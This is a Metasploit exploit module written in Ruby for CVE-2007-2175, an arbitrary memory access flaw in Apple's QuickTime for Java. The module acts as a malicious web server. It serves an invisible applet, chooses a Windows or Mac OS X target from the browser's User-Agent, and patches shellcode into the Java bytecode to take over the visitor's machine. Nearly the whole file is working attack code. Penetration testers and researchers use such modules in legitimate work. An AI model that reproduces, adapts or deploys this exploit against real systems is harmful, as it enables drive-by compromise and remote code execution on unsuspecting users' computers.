Apple QTJava toQTPointer() Arbitrary Memory Access



##

# $Id: qtjava_pointer.rb 10394 2010-09-20 08:06:27Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##


require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote
    Rank = ExcellentRanking

    #
    # This module acts as an HTTP server
    #
    include Msf::Exploit::Remote::HttpServer::HTML

    def initialize(info = {})
        super(update_info(info,
            'Name'           => 'Apple QTJava toQTPointer() Arbitrary Memory Access',
            'Description'    => %q{
                This module exploits an arbitrary memory access vulnerability in the
            Quicktime for Java API provided with Quicktime 7.

            },
            'License'        => MSF_LICENSE,
            'Author'         =>
            [
                'hdm',           # Original exploit for Mac OS X PPC / Win32
                'kf',            # Added support for Mac OS X X86
                'ddz'            # Discovered bug, provided tips
            ],
            'Version'        => '$Revision: 10394 $',
            'References'     =>
                [
                    ['CVE',    '2007-2175'],
                    ['OSVDB', '34178'],
                    ['BID',    '23608'],
                    ['URL',    'http://www.zerodayinitiative.com/advisories/ZDI-07-023.html'],
                ],
            'Payload'        =>
                {
                    'Space'    => 1024,
                    'BadChars' => ''
                },
            'Targets'        =>
                [
#
# Problem with generic payloads + regenerate_payload still :(
#
#                    [ 'Quicktime 7 Automatic',
#                        {
#                            'Platform' => ['win', 'osx'],
#                            'Arch' => [ARCH_X86, ARCH_PPC]
#                        }
#                    ],
                    [ 'Quicktime 7 on Windows x86',
                        {
                            'Platform' => 'win',
                            'Arch' => ARCH_X86
                        }
                    ],
                    [ 'Quicktime 7 on Mac OS X PPC',
                        {
                            'Platform' => 'osx',
                            'Arch' => ARCH_PPC,
                        }
                    ],
                    [ 'Quicktime 7 on Mac OS X x86',
                        {
                            'Platform' => 'osx',
                            'Arch' => ARCH_X86,
                        }
                    ],
                ],
#            'DefaultTarget'  => 0,
            'DisclosureDate' => 'Apr 23 2007'
            ))
    end


    def exploit
        # load the class data
        path = File.join(Msf::Config.install_root, "data", "exploits", "QTJavaExploit.class")
        fd = File.open(path, "rb")
        @class_data = fd.read(fd.stat.size)
        fd.close

        super
    end


    def on_request_uri(cli, req)

        # Create a cached mapping between IP and detected target
        @targetcache ||= {}
        @targetcache[cli.peerhost] ||= {}
        @targetcache[cli.peerhost][:update] = Time.now.to_i

        if (target.name =~ /Automatic/)
            case req.headers['User-Agent']
            when /Windows/i
                print_status("Choosing a Windows target for #{cli.peerhost}:#{cli.peerport}...")
                @targetcache[cli.peerhost][:target] = self.targets[1]
            when /PPC Mac OS X/i
                print_status("Choosing a Mac OS X PPC target for #{cli.peerhost}:#{cli.peerport}...")
                @targetcache[cli.peerhost][:target] = self.targets[2]
            when /Intel Mac OS X/i
                print_status("Choosing a Mac OS X x86 target for #{cli.peerhost}:#{cli.peerport}...")
                @targetcache[cli.peerhost][:target] = self.targets[3]
            end
        end

        # Clean the cache
        rmq = []
        @targetcache.each_key do |addr|
            if (Time.now.to_i > @targetcache[addr][:update]+60)
                rmq.push addr
            end
        end

        rmq.each {|addr| @targetcache.delete(addr) }


        # Request processing

        if (not req.uri.match(/\.class$/i))

            # Redirect to the base directory so the applet code loads...
            if (not req.uri.match(/\/$/))
                send_redirect(cli, get_resource() + '/', '')
                return
            end

            # Display the applet loading HTML
            print_status("Sending HTML to #{cli.peerhost}:#{cli.peerport}...")
            send_response_html(cli, generate_html(), { 'Content-Type' => 'text/html' })
            return
        end

        # Send the actual applet over
        print_status("Sending applet to #{cli.peerhost}:#{cli.peerport}...")
        send_response(cli, generate_applet(cli, req), { 'Content-Type' => 'application/octet-stream' })

        # Handle the payload
        handler(cli)
    end

    def generate_html()
        return "<html><head></head><body><applet width='1' height='1' code='QTJavaExploit.class'></applet></body></html>"
    end

    def generate_applet(cli, req)

        this_target = nil
        if (target.name =~ /Automatic/)
            if (@targetcache[cli.peerhost][:target])
                this_target = @targetcache[cli.peerhost][:target]
            else
                return ''
            end
        else
            this_target = target
        end

        # make a copy..
        data = @class_data.dup

        # 1 = OSX PPC, 2 = OSX X86, 3 = WIN X86
        idx_targ = data.index("\x03\x10\xcc\x54")

        # 1024 bytes for shellcode
        idx_code = data.index("\x03\x10\xf0\x54")

        # Handle Mac OS X PPC
        if (this_target.arch.include?(ARCH_PPC))
            tp = regenerate_payload(cli, 'osx', ARCH_PPC, this_target)
            data = patch_bytecode(idx_code, data, tp.encoded)
            data = patch_bytecode(idx_targ, data, "\x01")
        end

        # Handle Mac OS X x86 / Windows x86
        if (this_target.arch.include?(ARCH_X86))

            if (this_target.platform.platforms.include?(Msf::Module::Platform::Windows))
                tp = regenerate_payload(cli, 'win', ARCH_X86, this_target)
                data = patch_bytecode(idx_code, data, tp.encoded)
                data = patch_bytecode(idx_targ, data, "\x03")
            end

            if (this_target.platform.platforms.include?(Msf::Module::Platform::OSX))
                tp = regenerate_payload(cli, 'osx', ARCH_X86, this_target)
                data = patch_bytecode(idx_code, data, tp.encoded)
                data = patch_bytecode(idx_targ, data, "\x02")
            end
        end

        return data
    end

    def patch_bytecode(off, data, buff)

        cnt = 0
        off -= 1
        while (cnt < buff.length)
            cnt += 1
            while (! (data[off-1] == 0x10 && data[off+1] == 0x54))
                off += 1
            end
            data[off]=buff[cnt-1]
            off += 1
        end

        return data
    end


end